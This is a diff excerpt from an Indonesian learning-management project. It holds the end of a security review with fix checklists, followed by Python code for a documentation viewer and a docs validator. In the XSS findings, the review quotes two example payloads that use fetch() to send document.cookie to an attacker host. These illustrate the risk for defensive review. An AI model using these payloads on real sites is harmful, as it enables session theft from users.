### 🟠 7. HTTP Security Headers (MEDIUM-HIGH RISK)
|
||||
|
||||
#### 7.1 Tidak Ada Content Security Policy (CSP)
|
||||
**Lokasi**: Flask response tidak meng-set CSP header
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **XSS (Cross-Site Scripting)**: Attacker dapat inject JavaScript malicious melalui:
|
||||
- Markdown lesson content: `<script>fetch('https://attacker.com/?c='+document.cookie)</script>`
|
||||
- Data dari API yang dirender tanpa sanitasi
|
||||
- Third-party CDN compromise (supply chain attack)
|
||||
- **Data Exfiltration**: Script dapat mencuri:
|
||||
- Cookie session siswa
|
||||
- Progress data dan lesson content
|
||||
- Token authentication kirim ke attacker server
|
||||
- **Clickjacking**: Halaman dapat di-embed di iframe transparent untuk trick user klik tombol palsu.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **CSP Header**: Implementasikan Flask-Talisman dengan policy:
|
||||
```
|
||||
default-src 'self';
|
||||
script-src 'self' 'unsafe-inline' (untuk SvelteKit);
|
||||
style-src 'self' 'unsafe-inline';
|
||||
img-src 'self' data: blob:;
|
||||
frame-src 'self' (untuk iframe Velxio/CircuitJS);
|
||||
connect-src 'self';
|
||||
```
|
||||
- [ ] **Nonce-based CSP**: Untuk SvelteKit inline scripts, gunakan nonce generator.
|
||||
|
||||
---
|
||||
|
||||
#### 7.2 Tidak Ada X-Frame-Options
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Clickjacking Attack**: LMS dapat di-embed di iframe transparent di malicious site. Attacker overlay tombol palsu di atas tombol real.
|
||||
- **UI Redressing**: Contoh: Attacker membuat halaman "Free Gift" dengan tombol "Claim" yang sebenarnya adalah tombol "Delete Account" dari LMS yang di-embed.
|
||||
- **Credential Theft**: Fake login form di-overlay di atas real login form.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **X-Frame-Options**: Set header `X-Frame-Options: SAMEORIGIN` untuk melindungi clickjacking.
|
||||
- [ ] **Frame Ancestors CSP**: Alternatif modern dengan CSP `frame-ancestors 'self';`.
|
||||
|
||||
---
|
||||
|
||||
#### 7.3 Tidak Ada X-Content-Type-Options & HSTS
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **MIME-Type Confusion**: Browser execute file yang seharusnya non-executable (misal: upload lesson image yang ternyata JavaScript).
|
||||
- **SSL Strip Attack**: Attacker downgrade HTTPS ke HTTP di jaringan publik, intercept semua traffic.
|
||||
- **Man-in-the-Middle**: Semua komunikasi dapat dimodifikasi attacker tanpa detection.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **X-Content-Type-Options**: Set header `nosniff` untuk mencegah MIME sniffing.
|
||||
- [ ] **HSTS**: Set `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload` jika HTTPS aktif.
|
||||
- [ ] **Referrer-Policy**: Set `strict-origin-when-cross-origin` untuk mengurangi info leak.
|
||||
|
||||
---
|
||||
|
||||
### 🟠 8. Logging & Monitoring Security (MEDIUM RISK)
|
||||
|
||||
#### 8.1 Token Exposure in Logs
|
||||
**Lokasi**: `routes/progress.py:30`, `routes/compile.py`
|
||||
```python
|
||||
logging.info(f"Received track-progress request: token={token}, ...")
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Credential Leakage**: Log file biasanya readable oleh sistem admin atau backup processes. Jika log di-exfiltrate, semua token siswa terekspos.
|
||||
- **GDPR/Compliance Issue**: Token dapat dianggap Personally Identifiable Information (PII). Log retention policy mungkin violate data protection regulations.
|
||||
- **Forensics Contamination**: Attacker bisa inject fake log entries untuk cover tracks atau frame user lain.
|
||||
- **Audit Trail Pollution**: Sulit differentiate antara legitimate use vs stolen token usage.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Token Redaction**: Implementasikan logging filter yang otomatis redact token pattern:
|
||||
```python
|
||||
# Contoh: token=dummy_token_12345 → token=***REDACTED***
|
||||
```
|
||||
- [ ] **Structured Logging**: Gunakan JSON logging dengan field terpisah, jangan log sensitive data di message.
|
||||
- [ ] **Log Sanitization**: Review semua log statements di codebase, hapus/replace token, password, atau PII lainnya.
|
||||
|
||||
---
|
||||
|
||||
#### 8.2 Tidak Ada Audit Logging untuk Actions Sensitif
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **No Accountability**: Tidak ada track record siapa yang mengubah progress siswa, mengakses report, atau compile code.
|
||||
- **Forensics Difficulty**: Jika terjadi data breach, sulit trace kapan dan bagaimana terjadi.
|
||||
- **Insider Threat Blindness**: Tidak bisa deteksi suspicious activity seperti:
|
||||
- Guru melihat progress siswa dari kelas lain
|
||||
- Compile activity di jam aneh (3 AM)
|
||||
- Multiple failed login dari IP yang sama
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Audit Log Table**: Buat tabel/file terpisah untuk log actions sensitif:
|
||||
- Login/logout events
|
||||
- Progress updates
|
||||
- Report exports
|
||||
- Failed authentication attempts
|
||||
- [ ] **Log Rotation**: Implementasikan log rotation dan retention policy (misal: 90 hari).
|
||||
- [ ] **Alerting**: Basic alerting untuk events aneh (contoh: >100 failed logins per jam).
|
||||
|
||||
---
|
||||
|
||||
### 🟠 9. Input/Output Sanitization (MEDIUM RISK)
|
||||
|
||||
#### 9.1 Potential XSS dari Markdown Rendering
|
||||
**Lokasi**: `services/lesson_service.py` - Markdown tidak di-sanitize
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Stored XSS**: Guru yang compromised (atau attacker yang dapat akses edit content) dapat inject:
|
||||
```html
|
||||
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
|
||||
```
|
||||
- **Persistent Attack**: Script akan dijalankan setiap kali siswa membuka lesson tersebut.
|
||||
- **Session Hijacking**: JavaScript dapat:
|
||||
- Mencuri cookie session
|
||||
- Mengirim token ke attacker server
|
||||
- Mengakses localStorage/sessionStorage
|
||||
- Melakukan actions atas nama siswa (CSRF via XSS)
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Markdown Sanitization**: Gunakan library seperti `bleach` atau `html-sanitizer` untuk:
|
||||
- Strip/escape `<script>` tags
|
||||
- Remove event handlers (`onerror`, `onload`, etc.)
|
||||
- Whitelist allowed HTML tags dan attributes
|
||||
- [ ] **Content Security Policy**: CSP adalah defense-in-depth untuk XSS.
|
||||
|
||||
---
|
||||
|
||||
#### 9.2 Error Message Information Disclosure
|
||||
**Lokasi**: Multiple routes mengembalikan raw exception
|
||||
```python
|
||||
return jsonify({'success': False, 'message': f'Error processing login: {str(e)}'})
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Information Leak**: Attacker dapat mendapatkan:
|
||||
- Internal file paths (`/app/routes/auth.py`)
|
||||
- Database schema dari SQL error messages
|
||||
- Library versions dari stack traces
|
||||
- System architecture details
|
||||
- **Attack Vector Discovery**: Error messages membantu attacker debug dan refine attack mereka.
|
||||
- **System Fingerprinting**: Attacker dapat identifikasi tech stack untuk exploit spesifik.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Generic Error Messages**: Return generic message ke client, log detail ke server:
|
||||
```python
|
||||
# Client: {"success": false, "message": "An error occurred"}
|
||||
# Server Log: Full traceback dengan request ID
|
||||
```
|
||||
- [ ] **Error Codes**: Gunakan error codes untuk debugging tanpa expose sensitive info.
|
||||
|
||||
---
|
||||
|
||||
### 🟠 10. Network Security (MEDIUM RISK)
|
||||
|
||||
#### 10.1 Internal Communication Tidak Di-encrypt
|
||||
**Lokasi**: `routes/compile.py:46` - HTTP ke compiler-worker
|
||||
```python
|
||||
response = requests.post(COMPILER_WORKER_URL, ...) # HTTP, bukan HTTPS
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Internal Traffic Interception**: Jika attacker compromise satu container, bisa sniff traffic internal.
|
||||
- **Code Injection**: Attacker dapat man-in-the-middle request ke compiler-worker dan inject malicious code.
|
||||
- **Data Leakage**: Token siswa dan source code lewat plaintext dalam internal network.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **mTLS (Mutual TLS)**: Implementasikan certificate-based authentication antar container.
|
||||
- [ ] **Network Isolation**: Gunakan internal network yang terpisah untuk service-to-service communication.
|
||||
- [ ] **Service Mesh**: Pertimbangkan Istio/Linkerd untuk automatic mTLS (future enhancement).
|
||||
|
||||
---
|
||||
|
||||
#### 10.2 Tidak Ada Network Policies Antar Container
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Lateral Movement**: Jika Velxio container compromised, attacker bisa langsung akses Flask backend, database, dan service lain.
|
||||
- **Service Enumeration**: Semua service bisa discover dan communicate satu sama lain tanpa restriction.
|
||||
- **Privilege Escalation**: Attacker dari low-privilege service bisa akses high-privilege service.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Podman/Docker Network Policies**: Definisikan explicit allowed connections:
|
||||
- Frontend → Backend: ✅
|
||||
- Backend → Compiler Worker: ✅
|
||||
- Compiler Worker → Internet: ❌ (no outbound)
|
||||
- Velxio → Backend: ✅ (tapi limited)
|
||||
- [ ] **Firewall Rules**: Implementasikan iptables/nftables rules di container level.
|
||||
|
||||
---
|
||||
|
||||
### 🟡 11. Additional Security Hardening (LOW-MEDIUM RISK)
|
||||
|
||||
#### 11.1 Predictable Token Generation
|
||||
**Lokasi**: `generate_tokens.py` (jika sequential)
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Token Enumeration**: Jika token format predictable (e.g., `token_001`, `token_002`), attacker bisa generate semua token.
|
||||
- **Mass Account Takeover**: Jika dapat satu token, bisa tebak token lainnya.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Cryptographically Secure Random**: Gunakan `secrets.token_urlsafe(32)` untuk generate token.
|
||||
- [ ] **Token Entropy**: Minimal 128-bit entropy untuk mencegah brute force.
|
||||
|
||||
---
|
||||
|
||||
#### 11.2 Secrets Management
|
||||
**Lokasi**: `podman-compose.yml:54` - Hardcoded SECRET_KEY
|
||||
```yaml
|
||||
- SECRET_KEY=embed-only-no-auth-needed
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Session Forgery**: Attacker bisa generate valid session tokens untuk Velxio.
|
||||
- **API Bypass**: Jika Velxio punya internal API, attacker bisa bypass autentikasi.
|
||||
- **No Rotation**: Secret key tidak pernah berubah, jika leak maka permanent compromise.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Environment Variable**: Pindahkan SECRET_KEY ke `.env` file yang tidak di-commit.
|
||||
- [ ] **Secret Rotation**: Implementasikan mechanism untuk periodic secret rotation.
|
||||
- [ ] **Vault Integration**: Pertimbangkan HashiCorp Vault atau AWS Secrets Manager untuk production.
|
||||
|
||||
---
|
||||
|
||||
### 🔴 12. Secure Rate Limit for Velxio Compilation (CRITICAL SECURITY)
|
||||
|
||||
**Penjelasan**: Saat ini, kompilasi Arduino/Velxio berjalan secara langsung antara iframe frontend ke backend Velxio tanpa melewati filter autentikasi Elemes. Pembatasan di sisi frontend (SvelteKit) mudah di-bypass melalui "Inspect Element" atau request API langsung. Hal ini memungkinkan pengguna anonim membebani server dengan request kompilasi tanpa batas.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Flask Backend Proxy**: Buat route `POST /api/velxio-compile` di Flask yang berfungsi sebagai proxy ke backend Velxio (`http://velxio:80/api/compile/`).
|
||||
- [x] **Backend Enforcement**: Terapkan `@limiter.limit("1 per 2 minutes")` dan antrean anonim (20 slot) pada route proxy tersebut. Pastikan token divalidasi via `student_token` cookie agar pengguna login tidak terkena limit.
|
||||
- [x] **Redirect Traffic**: Ubah konfigurasi Tailscale (`sinau-c-tail.json`) dan Vite Proxy agar request `/velxio/api/compile` diarahkan ke endpoint Flask yang baru.
|
||||
|
||||
---
|
||||
|
||||
## 📋 Prioritas Implementasi (Rekomendasi)
|
||||
|
||||
### Tier 1: Quick Wins (High Impact, Low Effort) 🚀
|
||||
1. **Token Redaction in Logs** - Hanya modify logging statements
|
||||
2. **Add Security Headers** - Gunakan Flask-Talisman (one-liner)
|
||||
3. **Conditional Secure Cookie** - Environment variable check sederhana
|
||||
|
||||
### Tier 2: Important (High Impact, Medium Effort) ⭐
|
||||
4. **Rate Limiting Login** - Flask-Limiter integration
|
||||
5. **Markdown Sanitization** - Bleach/html-sanitizer setup
|
||||
6. **Generic Error Messages** - Exception handling wrapper
|
||||
|
||||
### Tier 3: Strategic (Long-term Security) 🔒
|
||||
7. **Session Invalidation/Blacklist** - Redis/memory store
|
||||
8. **Audit Logging** - Separate logging infrastructure
|
||||
9. **Internal mTLS** - Certificate management
|
||||
10. **Network Policies** - Container orchestration config
|
||||
11. **Secrets Management** - Vault/cloud provider integration
|
||||
|
||||
---
|
||||
|
||||
## 🎓 Learning Resources (untuk Referensi)
|
||||
|
||||
- **OWASP Top 10**: https://owasp.org/www-project-top-ten/
|
||||
- **Flask Security**: https://flask.palletsprojects.com/en/2.3.x/security/
|
||||
- **CSP Guide**: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
|
||||
- **Cookie Security**: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security
|
||||
|
||||
---
|
||||
|
||||
**Update Terakhir**: 2026-04-21
|
||||
**Status**: Second Opinion Security Review - Ready for Curation
|
||||
|
|
@ -0,0 +1,132 @@
|
|||
"""
|
||||
Dokumentasi teknis dan API reference — Docs Viewer endpoints.
|
||||
|
||||
Endpoints:
|
||||
GET /api/docs → index semua dokumen (terurut)
|
||||
GET /api/docs/<slug> → rendered HTML + metadata satu dokumen
|
||||
GET /api/docs/api-reference → API reference yang mengekstrak docstring route
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from flask import Blueprint, jsonify
|
||||
|
||||
from services.docs_service import get_docs_index, get_doc_content
|
||||
|
||||
docs_bp = Blueprint("docs_api", __name__)
|
||||
|
||||
|
||||
@docs_bp.route("/api/docs")
|
||||
def api_docs_index():
|
||||
"""List all docs files with metadata, sorted by order."""
|
||||
docs = get_docs_index()
|
||||
return jsonify({"docs": docs})
|
||||
|
||||
|
||||
@docs_bp.route("/api/docs/<slug>")
|
||||
def api_doc_detail(slug):
|
||||
"""Return rendered HTML + metadata for a single doc by slug."""
|
||||
data = get_doc_content(slug)
|
||||
if data is None:
|
||||
return jsonify({"error": "Dokumen tidak ditemukan"}), 404
|
||||
return jsonify(data)
|
||||
|
||||
|
||||
@docs_bp.route("/api/docs/api-reference")
|
||||
def api_reference():
|
||||
"""Generate API reference from route docstrings.
|
||||
|
||||
Scans all registered Flask routes, extracts docstrings, and formats
|
||||
them as structured API reference entries.
|
||||
|
||||
Each entry: {method, path, name, auth, doc}
|
||||
"""
|
||||
from app import create_app
|
||||
|
||||
app = create_app()
|
||||
entries = []
|
||||
|
||||
# Import all route modules to capture docstrings
|
||||
route_modules = [
|
||||
"routes.auth",
|
||||
"routes.compile",
|
||||
"routes.lessons",
|
||||
"routes.progress",
|
||||
"routes.help",
|
||||
"routes.student_management",
|
||||
"routes.quiz_attempts",
|
||||
"routes.docs",
|
||||
]
|
||||
|
||||
# Build a map of rule -> endpoint function for docstring extraction
|
||||
rule_map = {}
|
||||
for rule in app.url_map.iter_rules():
|
||||
if rule.endpoint != "static" and rule.endpoint != "api_reference":
|
||||
rule_map[rule.rule] = {
|
||||
"methods": sorted(rule.methods - {"HEAD", "OPTIONS"}),
|
||||
"endpoint": rule.endpoint,
|
||||
}
|
||||
|
||||
# Known auth requirements per route (derived from code inspection)
|
||||
auth_map = {
|
||||
"/login": False,
|
||||
"/validate-token": False,
|
||||
"/track-progress": False, # token-based, not session auth
|
||||
"/progress-report.json": True,
|
||||
"/reset-progress": True,
|
||||
"/compile": False, # token optional (anon allowed)
|
||||
"/compile/sessions": False,
|
||||
"/compile/sessions/<session_id>": False,
|
||||
"/compile/sessions/<session_id>/input": False,
|
||||
"/compile/sessions/<session_id>": False,
|
||||
"/velxio-compile": False,
|
||||
"/quiz-attempts/submit": False,
|
||||
"/quiz-attempts/<lesson_name>": False,
|
||||
"/students/export-csv": True,
|
||||
"/students/import/preview": True,
|
||||
"/students/import": True,
|
||||
"/students/bulk-delete": True,
|
||||
"/api/docs": False,
|
||||
"/api/docs/<slug>": False,
|
||||
"/api/docs/api-reference": False,
|
||||
"/bab/<folder>": False,
|
||||
"/lessons": False,
|
||||
"/lesson/<path:filename>": False,
|
||||
"/get-key-text/<filename>": False,
|
||||
"/assets/<path:path>": False,
|
||||
"/help": False,
|
||||
"/help/asset/<path:filename>": False,
|
||||
}
|
||||
|
||||
# Extract from Flask view functions directly
|
||||
seen = set()
|
||||
for rule in app.url_map.iter_rules():
|
||||
if rule.endpoint == "static":
|
||||
continue
|
||||
path = rule.rule
|
||||
if path in seen:
|
||||
continue
|
||||
seen.add(path)
|
||||
|
||||
methods = sorted(rule.methods - {"HEAD", "OPTIONS"})
|
||||
|
||||
# Try to get the view function's docstring
|
||||
view_func = app.view_functions.get(rule.endpoint)
|
||||
doc = ""
|
||||
if view_func:
|
||||
doc = (view_func.__doc__ or "").strip()
|
||||
|
||||
auth_req = auth_map.get(path, False)
|
||||
|
||||
entries.append({
|
||||
"method": methods,
|
||||
"path": path,
|
||||
"name": rule.endpoint,
|
||||
"auth": auth_req,
|
||||
"doc": doc,
|
||||
})
|
||||
|
||||
# Sort: methods order then path
|
||||
entries.sort(key=lambda e: (e["method"][0] if e["method"] else "", e["path"]))
|
||||
|
||||
return jsonify({"endpoints": entries})
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Validate docs/*.md files:
|
||||
1. Setiap file .md wajib punya frontmatter YAML valid (title, order, category).
|
||||
2. Cek broken internal link.
|
||||
|
||||
Jalankan di host (untuk dev loop) atau di container:
|
||||
python scripts/validate_docs.py
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
DOCS_DIR = os.path.join(REPO_ROOT, "docs")
|
||||
CONTENT_DIR = os.environ.get("CONTENT_DIR", os.path.join(REPO_ROOT, "content"))
|
||||
|
||||
_FRONTMATTER_RE = re.compile(r'^---\s*\n(.*?)\n---\s*\n', re.DOTALL)
|
||||
|
||||
errors = []
|
||||
warnings = []
|
||||
|
||||
|
||||
def check_frontmatter(filename, content):
|
||||
"""Validate frontmatter exists and has required keys."""
|
||||
fm_match = _FRONTMATTER_RE.match(content)
|
||||
if not fm_match:
|
||||
errors.append(f"{filename}: tidak ada frontmatter YAML (dibutuhkan: title, order, category)")
|
||||
return
|
||||
|
||||
fm_text = fm_match.group(1)
|
||||
keys = set()
|
||||
for line in fm_text.splitlines():
|
||||
if ":" in line:
|
||||
key = line.split(":", 1)[0].strip()
|
||||
keys.add(key)
|
||||
|
||||
required = {"title", "order", "category"}
|
||||
missing = required - keys
|
||||
if missing:
|
||||
errors.append(f"{filename}: frontmatter kurang keys: {sorted(missing)}")
|
||||
|
||||
# Validate order is integer
|
||||
order_match = re.search(r'^order:\s*(\d+)', fm_text, re.MULTILINE)
|
||||
if not order_match:
|
||||
errors.append(f"{filename}: order harus berupa angka")
|
||||
|
||||
|
||||
def check_internal_links(filename, content):
|
||||
"""Check for broken markdown links to other docs or content files."""
|
||||
# Extract body (strip frontmatter)
|
||||
fm_match = _FRONTMATTER_RE.match(content)
|
||||
body = content[fm_match.end():] if fm_match else content
|
||||
|
||||
# Find all markdown links: [text](path)
|
||||
links = re.findall(r'\[([^\]]+)\]\(([^)]+)\)', body)
|
||||
for text, link in links:
|
||||
# Skip external links and anchors
|
||||
if link.startswith("http://") or link.startswith("https://"):
|
||||
continue
|
||||
if link.startswith("#"):
|
||||
continue
|
||||
if link.startswith("mailto:"):
|
||||
continue
|
||||
|
||||
# Resolve relative to docs/ directory
|
||||
# Only check links that point to docs/ files
|
||||
link_path = link.lstrip("/")
|
||||
if link_path.startswith("docs/"):
|
||||
link_path = link_path[5:] # strip "docs/" prefix
|
||||
|
||||
# Skip links to source code, external paths, etc
|
||||
if link_path.startswith("http") or link_path.startswith("."):
|
||||
continue
|
||||
|
||||
target = os.path.join(DOCS_DIR, link_path)
|
||||
if not os.path.exists(target):
|
||||
# Only warn if it looks like it should be a docs file
|
||||
if link_path.endswith(".md") or "/" in link_path:
|
||||
warnings.append(f"{filename}: link mungnot '{link}' → '{link_path}' tidak ditemukan")
|
||||
|
||||
|
||||
def main():
|
||||
if not os.path.isdir(DOCS_DIR):
|
||||
print(f"❌ Direktori docs tidak ditemukan: {DOCS_DIR}")
|
||||
return 1
|
||||
|
||||
md_files = sorted(f for f in os.listdir(DOCS_DIR) if f.endswith(".md"))
|
||||
if not md_files:
|
||||
print(f"⚠️ Tidak ada file .md di {DOCS_DIR}")
|
||||
return 0
|
||||
|
||||
for fname in md_files:
|
||||
path = os.path.join(DOCS_DIR, fname)
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
except (OSError, PermissionError) as e:
|
||||
errors.append(f"{fname}: tidak bisa dibaca: {e}")
|
||||
continue
|
||||
|
||||
check_frontmatter(fname, content)
|
||||
check_internal_links(fname, content)
|
||||
|
||||
print(f"\n=== Dokumen yang divalidasi: {len(md_files)} file ===")
|
||||
|
||||
if errors:
|
||||
print(f"\n❌ {len(errors)} error:")
|
||||
for e in errors:
|
||||
print(f" - {e}")
|
||||
return 1
|
||||
|
||||
if warnings:
|
||||
print(f"\n⚠️ {len(warnings)} warning:")
|
||||
for w in warnings:
|
||||
print(f" - {w}")
|
||||
|
||||
print("\n✅ Semua file docs valid (frontmatter lengkap, tidak ada broken link internal)")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -0,0 +1,276 @@
|
|||
"""
|
||||
Service layer untuk Docs Viewer — rendering markdown dokumentasi teknis.
|
||||
|
||||
Pola mtime-cache yang sama dengan lesson_service._read_md_cached:
|
||||
- Cache berdasarkan mtime file — segar bila file diubah tanpa restart.
|
||||
- Jangan gunakan lru_cache untuk file-based content (mtime bisa berubah).
|
||||
- Path traversal protection: hanya file di dalam DOCS_DIR yang boleh dibaca.
|
||||
|
||||
Frontmatter parsing:
|
||||
- YAML frontmatter (---\ntitle: ...\norder: N\ncategory: ...\n---).
|
||||
- Fallback bila frontmatter tidak ada/rusak: urutkan berdasarkan prefix angka
|
||||
nama file, gunakan H1 pertama sebagai title.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import threading
|
||||
|
||||
import markdown as md
|
||||
from bleach import clean as bleach_clean
|
||||
|
||||
from config import CONTENT_DIR
|
||||
|
||||
# Docs directory — berada di root proyek, sejajar dengan content/
|
||||
_DOCS_DIR = os.path.abspath(
|
||||
os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "docs")
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cache
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_file_cache = {} # {path: {'content': str, 'mtime': float}}
|
||||
_file_cache_lock = threading.Lock()
|
||||
|
||||
_docs_index_cache = None # [(filename, metadata, mtime)]
|
||||
_docs_index_lock = threading.Lock()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Frontmatter parsing
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_FRONTMATTER_RE = re.compile(r'^---\s*\n(.*?)\n---\s*\n', re.DOTALL)
|
||||
|
||||
|
||||
def _parse_frontmatter(filename):
|
||||
"""Parse frontmatter dari file docs/<filename>.md.
|
||||
|
||||
Returns dict dengan keys: title, order, category, body (markdown tanpa frontmatter).
|
||||
Jika frontmatter tidak ada atau rusak, gunakan fallback:
|
||||
- title: H1 pertama di body
|
||||
- order: prefix angka dari nama file (01-13)
|
||||
- category: "general"
|
||||
"""
|
||||
file_path = os.path.join(_DOCS_DIR, filename)
|
||||
|
||||
# Path traversal protection
|
||||
abs_path = os.path.abspath(file_path)
|
||||
if not abs_path.startswith(_DOCS_DIR + os.sep) and abs_path != _DOCS_DIR:
|
||||
return None
|
||||
|
||||
with _file_cache_lock:
|
||||
cached = _file_cache.get(abs_path)
|
||||
if cached and cached.get("mtime") == os.path.getmtime(file_path) if os.path.exists(file_path) else False:
|
||||
cached_mtime = os.path.getmtime(file_path)
|
||||
if cached and cached.get("mtime") == cached_mtime:
|
||||
return cached["data"]
|
||||
|
||||
if not os.path.exists(file_path):
|
||||
return None
|
||||
|
||||
try:
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
except (OSError, PermissionError) as e:
|
||||
print(f"Warning: Could not read {file_path}: {e}")
|
||||
return None
|
||||
|
||||
current_mtime = os.path.getmtime(file_path)
|
||||
|
||||
# Parse frontmatter
|
||||
title = None
|
||||
order = None
|
||||
category = "general"
|
||||
|
||||
fm_match = _FRONTMATTER_RE.match(content)
|
||||
if fm_match:
|
||||
fm_text = fm_match.group(1)
|
||||
body = content[fm_match.end():]
|
||||
for line in fm_text.splitlines():
|
||||
if ":" in line:
|
||||
key, _, val = line.partition(":")
|
||||
key = key.strip()
|
||||
val = val.strip()
|
||||
if key == "title":
|
||||
title = val
|
||||
elif key == "order":
|
||||
try:
|
||||
order = int(val)
|
||||
except ValueError:
|
||||
order = None
|
||||
elif key == "category":
|
||||
category = val
|
||||
else:
|
||||
body = content
|
||||
|
||||
# Fallback: title dari H1, order dari prefix angka nama file
|
||||
if not title:
|
||||
for line in body.splitlines():
|
||||
if line.startswith("# "):
|
||||
title = line[2:].strip()
|
||||
break
|
||||
if title is None:
|
||||
title = filename.replace(".md", "").replace("_", " ").title()
|
||||
|
||||
if order is None:
|
||||
# Extract leading digits from filename
|
||||
m = re.match(r'(\d+)', filename)
|
||||
if m:
|
||||
order = int(m.group(1))
|
||||
|
||||
result = {
|
||||
"title": title,
|
||||
"order": order,
|
||||
"category": category,
|
||||
"body": body,
|
||||
}
|
||||
|
||||
with _file_cache_lock:
|
||||
_file_cache[abs_path] = {"content": content, "mtime": current_mtime, "data": result}
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def _read_md_cached(path):
|
||||
"""Read any markdown file with mtime-based caching (mirrors lesson_service pattern)."""
|
||||
if not os.path.exists(path):
|
||||
return ""
|
||||
try:
|
||||
current_mtime = os.path.getmtime(path)
|
||||
except OSError:
|
||||
cached = _file_cache.get(path)
|
||||
return (cached["content"] if cached else "") or ""
|
||||
|
||||
with _file_cache_lock:
|
||||
cached = _file_cache.get(path)
|
||||
if cached and cached.get("mtime") == current_mtime:
|
||||
return cached["content"]
|
||||
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
except (OSError, PermissionError) as e:
|
||||
print(f"Warning: Could not read {path}: {e}")
|
||||
cached = _file_cache.get(path)
|
||||
return (cached["content"] if cached else "") or ""
|
||||
|
||||
with _file_cache_lock:
|
||||
_file_cache[path] = {"content": content, "mtime": current_mtime}
|
||||
|
||||
return content
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Docs index (list all docs files, sorted by order)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def get_docs_index():
|
||||
"""Return list of docs metadata, sorted by order then filename.
|
||||
|
||||
Cached mtime-aware: rescans and refreshes when any docs/*.md changes.
|
||||
"""
|
||||
if not os.path.isdir(_DOCS_DIR):
|
||||
return []
|
||||
|
||||
# Collect mtimes of all docs/*.md files to detect cache invalidation
|
||||
docs_files = []
|
||||
current_mtimes = {}
|
||||
try:
|
||||
for entry in os.scandir(_DOCS_DIR):
|
||||
if entry.is_file() and entry.name.endswith(".md"):
|
||||
slug = entry.name[:-3] # strip .md
|
||||
docs_files.append((slug, entry.path))
|
||||
try:
|
||||
current_mtimes[entry.path] = entry.stat().st_mtime
|
||||
except OSError:
|
||||
current_mtimes[entry.path] = 0.0
|
||||
except OSError:
|
||||
return []
|
||||
|
||||
with _docs_index_lock:
|
||||
global _docs_index_cache
|
||||
# Check if cache is still valid
|
||||
if _docs_index_cache is not None:
|
||||
cached_mtimes, cached_list = _docs_index_cache
|
||||
if cached_mtimes == current_mtimes:
|
||||
return cached_list
|
||||
|
||||
# Rebuild index
|
||||
results = []
|
||||
for slug, path in docs_files:
|
||||
meta = _parse_frontmatter(os.path.basename(path))
|
||||
if meta is None:
|
||||
continue
|
||||
|
||||
# Path traversal — double-check slug doesn't escape
|
||||
safe_path = os.path.abspath(path)
|
||||
if not safe_path.startswith(_DOCS_DIR + os.sep):
|
||||
continue
|
||||
|
||||
results.append({
|
||||
"slug": slug,
|
||||
"title": meta["title"],
|
||||
"order": meta["order"],
|
||||
"category": meta["category"],
|
||||
})
|
||||
|
||||
# Sort by order, then filename
|
||||
results.sort(key=lambda x: (x["order"] if x["order"] is not None else 9999, x["slug"]))
|
||||
|
||||
_docs_index_cache = (dict(current_mtimes), results)
|
||||
return results
|
||||
|
||||
|
||||
def get_doc_content(slug):
|
||||
"""Return rendered HTML + metadata for a single doc by slug.
|
||||
|
||||
Returns dict: {title, order, category, html, markdown}
|
||||
Returns None if not found or path traversal attempt.
|
||||
"""
|
||||
# Path traversal protection
|
||||
safe_slug = re.sub(r'[^a-zA-Z0-9_\-]', '', slug)
|
||||
file_path = os.path.join(_DOCS_DIR, safe_slug + ".md")
|
||||
|
||||
abs_path = os.path.abspath(file_path)
|
||||
if not abs_path.startswith(_DOCS_DIR + os.sep):
|
||||
return None
|
||||
if not os.path.exists(file_path):
|
||||
return None
|
||||
|
||||
